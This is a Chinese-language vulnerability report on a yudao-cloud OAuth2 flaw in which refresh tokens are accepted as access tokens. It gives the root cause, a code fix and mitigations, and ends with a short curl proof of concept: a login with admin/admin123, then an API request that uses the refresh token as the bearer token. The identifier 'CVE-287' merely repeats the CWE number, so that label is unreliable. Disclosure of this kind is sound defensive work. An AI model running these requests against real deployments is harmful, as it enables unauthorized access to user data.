# CVE 报告总结:yudao-cloud OAuth2 Token 认证绕过 ## 漏洞概述 * **漏洞标题**:[High] yudao-cloud OAuth2 Token Authentication Bypass * **漏洞编号**:CVE-287 (CWE-287) * **严重程度**:High (CVSS 3.1: 7.5) * **漏洞类型**:认证绕过 (Authentication Bypass) * **根本原因**:`getAccessToken` 方法未区分 `access_token` 和 `refresh_token`。当 `access_token` 在缓存或数据库中未找到时,代码会自动尝试将其作为 `refresh_token` 查找。如果找到且未过期,则直接将其转换为 `access_token` 返回,从而允许攻击者使用 `refresh_token` 直接访问 API。 ## 影响范围 * **受影响产品**:yudao-cloud * **受影响版本**:up to 2026.01 * **受影响组件**: * **文件**:`yudao-module-system/biz/src/main/java/io/github/ruoyi/common/oauth2/service/impl/OAuth2TokenServiceImpl.java` * **方法**:`getAccessToken(String accessToken)` * **攻击向量**: 1. 攻击者获取有效的 `refresh_token`(通过中间人攻击、数据库泄露或 XSS)。 2. 攻击者使用 `refresh_token` 作为 `Authorization: Bearer ` 头发起请求。 3. 服务器接受 `refresh_token` 作为有效的 `access_token`。 4. 攻击者获得对受保护 API 资源的未授权访问。 * **潜在影响**: 1. **认证绕过**:利用被盗的 `refresh_token` 绕过认证机制。 2. **未授权访问**:无需有效 `access_token` 即可访问受保护的 API 资源。 3. **数据泄露**:可能暴露用户数据和系统信息。 4. **权限提升**:根据 `refresh_token` 关联的用户,攻击者可能获得更高的权限。 ## 修复方案 * **推荐修复代码**: 移除 `getAccessToken` 方法中关于 `refresh_token` 的回退逻辑。 ```java @Override public OAuth2AccessTokenDO getAccessToken(String accessToken) { // Only query access_token, never accept refresh_token as access_token OAuth2AccessTokenDO accessTokenDO = oauth2AccessTokenRedisDAO.get(accessToken); if (accessTokenDO != null) { return accessTokenDO; } accessTokenDO = oauth2AccessTokenMapper.selectByAccessToken(accessToken); // Remove the refresh_token fallback logic entirely return accessTokenDO; } ``` * **其他安全措施**: 1. 实施严格的 token 类型验证。 2. 添加 token 来源追踪(区分 `access_token` 和 `refresh_token` 的使用场景)。 3. 对 token 验证请求实施速率限制。 4. 添加异常检测以识别不寻常的 token 使用模式。 5. 记录 token 验证尝试以进行安全监控。 ## 概念验证 (PoC) **步骤 1: 获取 Refresh Token** ```bash # Normal login to get tokens curl -X POST "https://target.com/admin-api/system/auth/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin123"}' ``` **响应示例:** ```json { "code": 0, "data": { "accessToken": "eyJ...", "refreshToken": "eyJ...", "expiresTime": 17250700000 } } ``` **步骤 2: 使用 Refresh Token 作为 Access Token** ```bash # Use refresh_token as access_token (Authentication Bypass) curl -X GET "https://target.com/admin-api/system/user/page" \ -H "Authorization: Bearer " ``` 如果漏洞存在,请求将成功,攻击者获得未授权访问。